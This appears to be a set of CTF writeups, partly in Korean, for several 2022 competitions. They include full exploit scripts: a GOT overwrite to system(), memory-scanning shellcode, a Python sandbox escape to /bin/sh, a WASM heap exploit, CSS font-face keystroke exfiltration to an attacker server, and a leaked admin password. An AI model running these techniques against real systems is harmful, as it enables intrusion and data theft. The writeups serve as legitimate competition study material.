2022 Fall GoN Open Qual CTF Writeup
2022 Fall Gon Open Qual CTF imssm99 (2nd, 11427 pts) A. Zero Gravity Vulnerability idx를 입력받을 때 값을 검사하지 않아 OOB가 일어나게 된다. a, r을 통해 임의의 주소에 float 형식으로 값을 더하거나 읽을 수 있다. cnt = 1; for ( i = 0; i < cnt; ++i ) { printf("(r)ead / (a)dd >> "); scanf("%2s", &s); if ( (char)s == 'a' ) { printf(" idx >> "); scanf("%d", &idx); printf(" value >> "); scanf("%f", &value); arr[idx] = value + arr[idx]; } else if ( (char)s == 'r' ) { printf(" idx >> "); scanf("%d", &idx); printf("%.10e\n", arr[idx]); } memset(&s, 0, 3uLL); } /* .got.plt:0x601028 = memset .got.plt:0x601030 = setvbuf .bss:0x6010A0 = arr .bss:0x6010E0 = cnt */ Exploit 먼저 cnt를 조작하여 for loop가 여러 번 돌도록 한다. arr[-28]을 읽어 setvbuf@got의 lower 4byte를 읽어 system함수의 주소를 알아낸다. arr[-30]에 값을 더해 memset@got를 system함수의 주소로 덮어쓴다. memset(&s, 0, 3uLL)에서 system(&s)가 실행되어 원하는 명령을 입력할 수 있다. from pwn import * import struct itof = lambda x: struct.unpack("<f", struct.pack("<L", x))[0] ftoi = lambda x: struct.unpack("<L", struct.pack("<f", x))[0] elf = ELF("./zero_gravity") libc = ELF("./libc.so.6") p = remote("host1.dreamhack.games", 20267) #p = process("./zero_gravity") def read(idx): p.sendlineafter(b">> ", b"r") p.sendlineafter(b">> ", str(idx).encode()) return ftoi(float(p.recvline())) def add(idx, value): p.sendlineafter(b">> ", b"a") p.sendlineafter(b">> ", str(idx).encode()) p.sendlineafter(b">> ", str(value).encode()) add(16, 0x10) # cnt+=0x10 l = read(-30) lp = itof(l) t = read(-28) - libc.symbols["setvbuf"] + libc.symbols["system"] tp = itof(t) print(hex(l), lp) print(hex(t), tp) add(-30, tp-lp) print(hex(read(-30))) p.interactive() B. Bomblab - Hard Level 1 ~ Level 6은 정적 분석을 통해 풀었고, Secret Phase는 Binary Patch를 통해 디버거 탐지를 우회한 뒤 GDB를 이용해 동적으로 분석했다. ...
Google Capture The Flag 2022 Writeup
Team ST4RT, 65th Appnote.txt import struct with open("dump.zip", "rb") as f: data = f.read() u16 = lambda x: struct.unpack("<H", x)[0] flag = bytearray() eocd = data[0xEEE2:].split(b"PK\x05\x06") for d in eocd[1:]: offset = u16(d[12:14]) flag.append(data[offset-1]) print(flag) Segfault Labyrinth from pwn import * context.arch = "amd64" #p = process("./challenge") p = remote("segfault-labyrinth.2022.ctfcompetition.com", 1337) p.recvline() p.sendline(b"0"*8) code = """ mov rsp, rdi; mov rbp, rdi; add rsp, 0x400; add rbp, 0x400; mov r8, rdi; TASK: xor rbx, rbx; RUN: mov rdi, 2; mov rsi, [r8 + rbx*8]; mov rdx, 0x1; mov rax, 1; syscall; cmp rax, 0xfffffffffffffff2; jne FOUND; inc rbx; cmp rbx, 0x10; jne RUN; FOUND: mov rax, [rsi]; mov r8, rsi; cmp al, 0; je TASK; mov rdx, 0x40; mov rdi, 1; mov rax, 1; syscall; """ payload = b"" payload += asm(code) p.send(payload.ljust(0x1000, b"\x90")) print(p.recv()) Treebox sys.stderr.write = os.system a = {} a["/bin/sh"] --END Weather from pwn import * import struct u16 = lambda x: struct.unpack(">H", x)[0] with open("do.ihx", "r") as f: lines = f.readlines() payload = bytearray(0x80) for line in lines: data = bytes.fromhex(line[1:]) size = data[0] offset = u16(data[1:3]) record = data[3] body = data[4:4+size] checksum = data[-1] payload[offset:offset+size] = body print(payload.hex()) payload = bytearray([0xFF] * 0xe) + payload[0x62:] p = remote("weather.2022.ctfcompetition.com", 1337) p.sendlineafter(b"? ", (f"w 101153 128 {40} {0xA5} {0x5A} {0xA5} {0x5A} " + " ".join(map(lambda x: str(x^0xFF), payload[:0x40]))).encode()) p.sendlineafter(b"? ", f"r 101153 64".encode()) p.recvline() recv = list(map(int, p.recvuntil(b"-end")[:-4].replace(b"\n", b" ").split())) print(bytes(recv)) print(recv) payload2 = [0xFF]*19 + [0x12, 0x0a, 0x0e] p.sendlineafter(b"? ", (f"w 101153 128 {20} {0xA5} {0x5A} {0xA5} {0x5A} " + " ".join(map(lambda x: str(x^0xFF), payload2))).encode()) p.interactive() p.sendlineafter(b"? ", f"r 101153 64".encode()) p.recvline() recv = list(map(int, p.recvuntil(b"-end")[:-4].replace(b"\n", b" ").split())) print(bytes(recv)) print(recv) p.interactive()
BCACTF 3.0 Writeup
Team ST4RT, 5th Notetaker WASM from pwn import * def run(i): p = remote("bin.bcactf.com", 49180) #p = process(["node", "--experimental-wasi-unstable-preview1", "runner.js"]) def note_print(idx): p.sendlineafter(b"4)\n", b"1") p.sendlineafter(b"inclusive)\n", str(idx).encode()) def note_delete(idx): p.sendlineafter(b"4)\n", b"2") p.sendlineafter(b"inclusive)\n", str(idx).encode()) def note_create(idx): p.sendlineafter(b"4)\n", b"3") p.sendlineafter(b"inclusive)\n", str(idx).encode()) def note_write(idx, data): p.sendlineafter(b"4)\n", b"4") p.sendlineafter(b"inclusive)\n", str(idx).encode()) p.sendlineafter(b"\n", data) note_create(1) note_create(2) note_create(3) note_delete(1) # 0x442: %15d -> %lld note_write(1, p32(0x443-0xc) + p32(0x646c6c)) note_delete(2) note_delete(1) calc = lambda fd, bk: ((fd-0x8) << 32) | bk note_write(1, str(calc(0xc00 + 0x4*6, 0x400+0xc*i)).encode()) # note[7] -> flag note_delete(2) note_delete(1) note_print(7) p.recvline() p.recvline() return p.recvline().replace(b"\x10\x0c", b"").strip() ans = b"" for i in range(3): ans += run(i) print(ans) Wasm Prison const arr = []; for(let i = 0; i < 256; i++) arr.push(parseInt(tables.$table0.get(i).name)); console.log(JSON.stringify(arr)); func_n = [0] * 257 fp_table = [192,79,107,193,212,21,15,215,205,34,173,202,67,88,66,106,171,197,52,234,76,5,187,138,20,156,81,182,112,14,174,26,111,147,99,22,125,236,89,127,56,104,43,94,207,100,170,190,204,101,245,132,4,142,238,102,196,176,47,133,191,50,136,121,256,243,183,103,38,148,17,28,211,250,158,172,74,246,51,189,119,181,77,16,229,222,209,131,255,124,165,177,145,91,227,114,135,31,108,27,64,1,6,117,185,73,149,63,71,122,23,166,240,120,252,253,95,226,164,249,214,161,208,80,48,239,217,179,97,218,219,72,18,116,61,178,235,200,198,110,195,163,140,62,169,83,216,168,210,54,49,58,75,194,247,85,139,225,9,244,126,46,153,92,115,86,42,175,36,223,68,7,248,30,150,144,69,180,82,230,24,143,10,11,157,33,44,128,35,228,60,254,70,242,65,146,40,206,203,41,39,8,29,221,78,118,224,13,87,199,109,220,162,159,123,141,25,57,151,37,3,19,130,90,232,45,231,152,241,32,113,96,201,129,134,59,233,251,93,105,160,167,184,98,188,154,155,12,53,84,137,55,213,237,186,2] with open("chall.wasm", "r") as f: i = 0 lines = f.readlines() for idx, line in enumerate(lines): if line.startswith(" (func $func"): i+=1 func_n[i] = int(lines[idx+15].split()[1]) inp = bytearray(34) inp[0:7] = b"bcactf{" inp[-1:] = b"}" enc_flag = b"bcactf{\xdc1e2\xf5\x8bR\xf8rl\x1d\xe7;\xe5X\x00\x93\xc9xB\xcd\xea)z\xf2\xd1}" def func(n, i): return ((1337 * n) + i + 1) & 255 for i in range(0, 34): if i < 7 or i == 33: continue for j in range(0x100): fp = fp_table[j ^ 137] if func(func_n[fp], i) == enc_flag[i]: inp[i] = j break print(inp) Stylish import requests url = "http://webp.bcactf.com:49153"; s = requests.Session() payload = "" for c in b"0123456789ABCDEFRS": # R: Reset / S: Submit payload += f""" @font-face {{ font-family: poc; src: url("http://[SERVER]/?c={chr(c)}"); unicode-range: U+00{hex(c)[2:]}; }} """ payload += f""" #keypad button:active {{ font-family: poc; }} """ print(payload) r = s.post(f"{url}/api/report", json={ "bodyBG": "white;", "bodyFG": "white", "accentBG": "white", "accentFG": "white; }" + payload + "a {" }) print(r.text) passcode = input("Passcode: ") r = s.post(f"{url}/api/flag", json={ "passcode": passcode }) print(r.text)
Codegate2022 Qual Writeup
University Division, imssm99, 3rd (4249 points) CAFE bot.py에 admin의 ID/PW가 있어 admin으로 로그인하면 flag를 볼 수 있다. driver.get('http://3.39.55.38:1929/login') driver.find_element_by_id('id').send_keys('admin') driver.find_element_by_id('pw').send_keys('$MiLEYEN4') driver.find_element_by_id('submit').click() time.sleep(2) superbee func (this *AdminController) AuthKey() { encrypted_auth_key, _ := AesEncrypt([]byte(auth_key), []byte(auth_crypt_key)) this.Ctx.WriteString(hex.EncodeToString(encrypted_auth_key)) } ... auth_crypt_key, _ = web.AppConfig.String("auth_crypt_key") auth_crypt_key가 설정되어있지 않아 빈 문자열이다. ... } else if controllerName == "AdminController" { domain := this.Ctx.Input.Domain() if domain != "localhost" { this.Abort("Not Local") return } } ... func (this *AdminController) AuthKey() { encrypted_auth_key, _ := AesEncrypt([]byte(auth_key), []byte(auth_crypt_key)) this.Ctx.WriteString(hex.EncodeToString(encrypted_auth_key)) } /admin/authkey에 Host: localhost Header를 설정하여 접속하면 encrypted_auth_key를 얻을 수 있다. encrypted_auth_key를 빈 Key로 Decrypt하여 flag를 얻는데 필요한 Cookie를 설정할 수 있었다. ...